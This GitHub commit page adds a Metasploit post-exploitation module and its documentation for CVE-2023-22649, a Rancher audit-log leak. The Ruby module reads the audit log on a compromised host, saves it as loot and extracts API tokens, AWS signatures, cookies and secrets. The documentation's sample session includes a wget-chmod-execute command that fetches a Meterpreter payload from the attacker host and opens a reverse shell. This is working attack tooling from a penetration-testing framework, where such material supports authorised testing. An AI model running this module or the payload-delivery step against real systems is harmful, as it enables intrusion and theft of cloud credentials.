Skip to content

Commit

Permalink
Land #18962, rancher audit logs information leak
Browse files Browse the repository at this point in the history
new post module: rancher audit logs sensitive information leak (CVE-2023-22649)
  • Loading branch information
smcintyre-r7 committed Apr 10, 2024
2 parents f8331f4 + f579ec7 commit aa739cd
Show file tree
Hide file tree
Showing 2 changed files with 243 additions and 0 deletions.
121 changes: 121 additions & 0 deletions documentation/modules/post/linux/gather/rancher_audit_log_leak.md
@@ -0,0 +1,121 @@
## Vulnerable Application

Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
contain a vulnerability where sensitive data is leaked into the audit logs.
Rancher Audit Logging is an opt-in feature, only deployments that have it
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.

Tested against rancher 2.6.0 and 2.8.1.

### Install

Run the following docker command:
`docker run -d --restart=unless-stopped -p 80:80 -p 443:443 -e AUDIT_LEVEL=3 -v /var/log/rancher/auditlog:/var/log/auditlog --privileged rancher/rancher:v2.6.0`

You'll now need to grab the install key via `docker logs`: `docker logs <docker_id> 2>&1 | grep "Bootstrap Password:"`

Lets now add some data for the logs:

1. Click Cluster Management
1. Select Cloud Credentials:
1. Click the hamburger in the top left corner
1. Select Cluster Management
1. Click Cloud Credentials, and Create
1. Pick Digital Ocean
1. Fill in random data, it doesn't have to validate and be a live account
1. Click Create. It will fail, but the audit logs we need have been written
1. Pick Amazon
1. Fill in random data, it doesn't have to validate and be a live account
1. Click Create. It will fail, but the audit logs we need have been written
1. Click your user icon in the top right corner
1. Select Accounts & API Keys
1. Click Create API Key
1. Give it a name and click create. Write down these values
1. Perform a request via curl (on the docker image is easiest) which will generate more logs (but ultimately fail):
`curl -H "X-Api-Auth-Header: <your bearer token>" -H "X-Amz-Security-Token: FINDME" -k https://172.17.0.2/v3/clusters`

## Verification Steps

1. Install the application and generate data
1. Start msfconsole
1. Get a shell
1. Do: `use post/linux/gather/rancher_audit_log_leak`
1. Do: `set session [#]`
1. Do: `run`
1. You should get a table of leaky fields found

## Options

### LOGFILE

The log file to analyze. Defaults to `/var/log/auditlog/rancher-api-audit.log`

## Scenarios

### Rancher 2.6.0 on Docker

```
[*] Processing rancher_logs.rb for ERB directives.
resource (rancher_logs.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (rancher_logs.rb)> set target 7
target => 7
resource (rancher_logs.rb)> set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (rancher_logs.rb)> set lhost 172.18.0.1
lhost => 172.18.0.1
resource (rancher_logs.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Using URL: http://172.18.0.1:8080/zpJT4e2V
[*] Server started.
[*] Run the following command on the target machine:
wget -qO gmZmOwc0 --no-check-certificate http://172.18.0.1:8080/zpJT4e2V; chmod +x gmZmOwc0; ./gmZmOwc0& disown
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.17.0.2:34252) at 2024-03-13 16:51:26 +0000
```

```
resource (rancher_logs.rb)> use post/linux/gather/rancher_audit_log_leak
resource (rancher_logs.rb)> set session 1
session => 1
resource (rancher_logs.rb)> set verbose true
verbose => true
msf6 post(linux/gather/rancher_audit_log_leak) >
msf6 post(linux/gather/rancher_audit_log_leak) > run
[+] Rancher log saved to: /root/.msf4/loot/20240313165133_default_172.17.0.2_rancher.api.log_616439.txt
[+] Found X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs
[+] Found X-Amz-Security-Token FINDME
[+] Found X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Found X-Api-Set-Cookie-Header: __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
[+] Found X-Api-Auth-Header Bearer digital_ocean_access_token
[+] Found X-Api-Set-Cookie-Header: __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed
[+] Leaked Information
==================
Field Value Location
----- ----- --------
Username admin Requests
X-Amz-Security-Token FINDME requestHeader
X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs requestHeader
X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa requestHeader
X-Api-Auth-Header Bearer digital_ocean_access_token requestHeader
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed
X-Api-Set-Cookie-Header __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY responseHeader
2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
X-Api-Set-Cookie-Header __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9 responseHeader
CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
[*] Post module execution completed
msf6 post(linux/gather/rancher_audit_log_leak) >
```
122 changes: 122 additions & 0 deletions modules/post/linux/gather/rancher_audit_log_leak.rb
@@ -0,0 +1,122 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rancher Audit Log Sensitive Information Leak',
'Description' => %q{
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
contain a vulnerability where sensitive data is leaked into the audit logs.
Rancher Audit Logging is an opt-in feature, only deployments that have it
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.
Tested against rancher 2.6.0.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
],
'Platform' => ['linux', 'unix'],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [
[ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'],
[ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'],
[ 'CVE', '2023-22649']
],
'DisclosureDate' => '2024-02-08',
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_advanced_options [
OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ])
]
end

def run
# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options
fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE'])

log = read_file(datastore['LOGFILE'])
loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log')
print_good("Rancher log saved to: #{loot}")

usernames_found = []
table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location'])

log.each_line do |line|
leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token']
leaky_response_headers = ['X-Api-Set-Cookie-Header']
leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey']

json_line = JSON.parse(line)

if json_line.key? 'requestHeader'
leaky_request_headers.each do |leaky_field|
next unless json_line['requestHeader'].key? leaky_field

secret = json_line['requestHeader'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} #{secret}")
table << [leaky_field, secret, 'requestHeader']
end
end

if json_line.key? 'responseHeader'
leaky_response_headers.each do |leaky_field|
next unless json_line['responseHeader'].key? leaky_field

secret = json_line['responseHeader'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field}: #{secret}")
table << [leaky_field, secret, 'responseHeader']
end
end

if json_line.key? 'requestBody'
leaky_request_body.each do |leaky_field|
next unless json_line['requestBody'].key? leaky_field

secret = json_line['requestBody'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} in #{secret}")
table << [leaky_field, secret, 'requestBody']
end
end

if json_line.key? 'responseBody'
leaky_request_body.each do |leaky_field|
next unless json_line['responseBody'].key? leaky_field

secret = json_line['responseBody'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} in #{secret}")
table << [leaky_field, secret, 'responseBody']
end
end

usernames = json_line.dig('user', 'extra', 'username')
next if usernames.nil?

usernames_found += usernames
end

usernames_found.uniq.each do |username|
table << ['Username', username, 'Requests']
end

print_line
print_line(table.to_s)
end
end

0 comments on commit aa739cd

Please sign in to comment.